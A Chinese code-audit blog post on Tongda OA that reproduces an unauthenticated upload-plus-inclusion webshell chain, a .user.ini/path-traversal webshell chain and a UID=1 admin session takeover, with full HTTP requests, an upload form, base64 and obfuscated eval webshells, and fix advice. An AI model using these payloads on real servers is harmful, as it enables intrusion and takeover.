4、通达OA代码审计

文章详细描述了两个Web应用中的漏洞:一是文件上传漏洞配合文件包含可能导致webshell,通过构造POST请求上传恶意文件;二是任意用户登录漏洞,通过获取特定cookie实现未授权访问。文章还提供了相应的修复建议,强调了限制文件类型、监测文件内容、设置权限和使用白名单的重要性。
摘要由CSDN通过智能技术生成

一、文件操作

1、文件上传配合文件包含审计

文件上传首先确定存在漏洞的文件。和文件上传相关的函数比如upload。在从上到下分析构造的条件

在这里插入图片描述

1. 从 POST 请求中提取变量 P 的值。
2. 检查 P 是否已设置且不为空字符串。
3. 如果 P 已设置且非空,进入包含 "inc/session.php" 文件,然后设置会话 ID 为 P,启动一个会话
4. 如果 P 未设置或为空,则包含 "auth.php" 文件。

在这里插入图片描述

post提交获取TYPE、DEST_UID值
 DEST_UID=0就报错结束,不满足0就可以

在这里插入图片描述

有文件上传值大于等于1就会进入文件上传代码
upload不在第一个if,所以满不满足1都可以,都会执行。
如果没有检测到文件上传就提示,检测到就进if判断
判断文件大小可以控制

在这里插入图片描述

选择输出内容的模式

在这里插入图片描述

过滤是在upload里,过滤了后缀、文件名、大小等还有类名单验证
构造请求条件,要构造上传文件的表单 

在这里插入图片描述

构造条件:
P=1 未授权
DEST_UID=1 进入逻辑
UOLOAD_MODE=1,2,3选择输出内容的模式
ATTACHMENT 就收文件上传的参数名
构造表单去触发upload文件比较快捷。
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

上传后输出上传的文件名但是路径不清楚,可以使用脚本监控

在这里插入图片描述

搜索文件包含函数

在这里插入图片描述

url不为空,值带/,判断general/不等于false为真并且ispirit/不等于false,条件为真才会包含
首要条件满足if($json)

在这里插入图片描述
在这里插入图片描述

ispirit/interface/gateway.php?jaso{}$url=/general/../../attach/im/2401/1798777521.1.txt

在这里插入图片描述

包含文件不回显,可以上传一个图片马>内容是创建一个php文件

<?php
  $fn = fopen("2.php","w+");
  $st=base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk7cGhwaW5mbygpOz8+");
  $result = fwrite($fn,$st);
  fclose($fn);
?>

在这里插入图片描述

POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2760
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD9mijgm62VfQk6ny
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close

------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="P"

1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryD9mijgm62VfQk6ny
Content-Disposition: form-data; name="ATTACHMENT"; filename="m.jpg"
Content-Type: image/jpeg

ÿØÿà
上传图片马后访问
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Cookie: PHPSESSID=1

json={"url":"/general/../../attach/im/2401/999371338.m.jpg"}

在这里插入图片描述

POST /ispirit/interface/2.php HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


在这里插入图片描述

内容回显出来说明成功了,可以写个webshell的代码,用工具连接

在这里插入图片描述

2、文件上传配合文件包含webshell

漏洞条件

● 漏洞url: http://192.168.x.x/general/hr/manage/staff_info/update.php
● 漏洞参数:filename
● 是否存在限制: 
● 是否还有其他条件:USER_ID; name="ATTACHMENT"; filename="tongda.log"

复现

第一步上传恶意日志内容
POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 644
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close

------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"

../../general/reportshop/workshop/report/attachment-remark/tongda
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"


------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="tongda.log"
Content-Type: application/octet-stream

<?php class Gz5SfY10 { public function __construct($H7Es8){ @eval("/*Z7y11Eib8N*/".$H7Es8.""); }}new Gz5SfY10($_REQUEST['a']);?>
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"

在这里插入图片描述

第二步包含文件
POST /general/hr/manage/staff_info/update.php HTTP/1.1
Host: 192.168.x.x
Content-Length: 537
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.45
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5GZA3TTHKoMH9q6n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.45/general/hr/manage/staff_info/staff_info.php?UID=15&USER_ID=chenqiang&DEPT_ID=4&FROM_DEPT_ID=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=g0jb13ldknhl5g3sr269v3phb2; SID_1=3ac19fa7
Connection: close


------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="USER_ID"

../../general/reportshop/workshop/report/attachment-remark/.user
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="BYNAME"


------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="ATTACHMENT"; filename="config.ini"
Content-Type: application/octet-stream

auto_prepend_file=tongda.log
------WebKitFormBoundary5GZA3TTHKoMH9q6n
Content-Disposition: form-data; name="WORK_TYPE"



在这里插入图片描述

直接用工具链接

在这里插入图片描述

代码

获取用户上传的文件信息和临时文件名
如果不为空就代表用户已经上传了文件,设置为这个路径
检查文件或目录是否存在,如果路径上的目录不存在就创建一个新的目录
如果文件不存在会报错,存在则进如upload函数,进行验证上传的文件
td_copy-->is_uploadable对后缀做了限制

在这里插入图片描述
在这里插入图片描述

提取文件的名字、大小、错误码以及临时文件名。之后根据错误码进行不同的处理。检查文件后缀、文件名字符编码、非法字符等信息。没有检查文件内容

在这里插入图片描述
在这里插入图片描述

修复建议

1. 限制可上传文件类型,避免执行文件的上传。
2. 对上传文件内容进行监测以防夹带恶意代码。
3. 设置权限,上传文件目录不应执行脚本。
4. 使用文件包含机制时,避免直接包含用户输入的文件。可能的话,使用白名单机制限制可包含文件

二、任意用户登录

漏洞条件

● 漏洞url: http://192.168.x.x/logincheck_code.php
● 漏洞参数:cookie
● 是否存在限制: 
● 是否还有其他条件:需要先请求UID=1获取cookie

复现

使用脚本获取cookie

在这里插入图片描述

访问登录后的页面修改PHPSESSID=qg8g33n7fscd71hildomnh4m15;

在这里插入图片描述

代码

这里直接通过POST传入UID:

在这里插入图片描述

通过UID进行数据库的查询,并加以参数的赋值:
mysql> select * from USER where UID=1 \G;

在这里插入图片描述

因为UID=1是admin用户,所以这儿直接就是把admin的session给调了出来:

在这里插入图片描述

用burp测试,带入UID=1.就得到PHPSESSID,替换PHPSESSID即可。

修复建议

加强身份验证机制,如强化密码加密存储,加强参数验证,修复认证逻辑漏洞和使用安全的会话管理方式。
  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
通达OA201803最新已O版本! 1.通达应用自建平台是一款以企业管理表格为模型、业务为驱动、决策为目标,设计和运行企事业单位各类管理信息系统的平台软件。 2.通过融合自建应用、工作流、业务流程平台以及各个内外部业务系统的数据,形成可视化的数据分析图表,为企业的综合管控提供数据支撑,加强企业决策能力,从而提升企业核心竞争力。 3.数据报表支持直观的图形化显示功能,能支持常见的如饼形图、直方图、散点图等。 4.通达的目标是帮助企事业单位以“平台+实施”的方式实现各类业务管理规范化、流程化,进而为管理层、决策层提供数据决策支持服务的工具平台。 5.流程、数据互联 灵活的流程步骤设置,每个步骤可以设置单独的条件和表单,可自主设计的表单,支持20余种控件,单据全部电子化,开放的流程审批能力,方便对接其他业务系统,应用+流程的有效结合,帮助企业快速落地信息化,数据互联,运营数据有效积累,帮助企业决策。 6.高效协同 行政办公,全面覆盖,降低运营成本,统一通讯,多终端消息同步,移动办公,随时随地处理工作事务,任务管理,分工、进度一目了然,考勤管理,灵活的考勤设置,手机打卡。 7.按需定制 周期短、零编码、成本低、风险小,报表和数据源的任意定制,工作流程和表单任意定制,应用和业务系统的任意定制,数据分析图谱的任意定制。 8.极致体验 T-OS应用、消息、协同一体化桌面,移动、PC终端精灵,精致易用,自动更新,自动备份,零成本运维。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值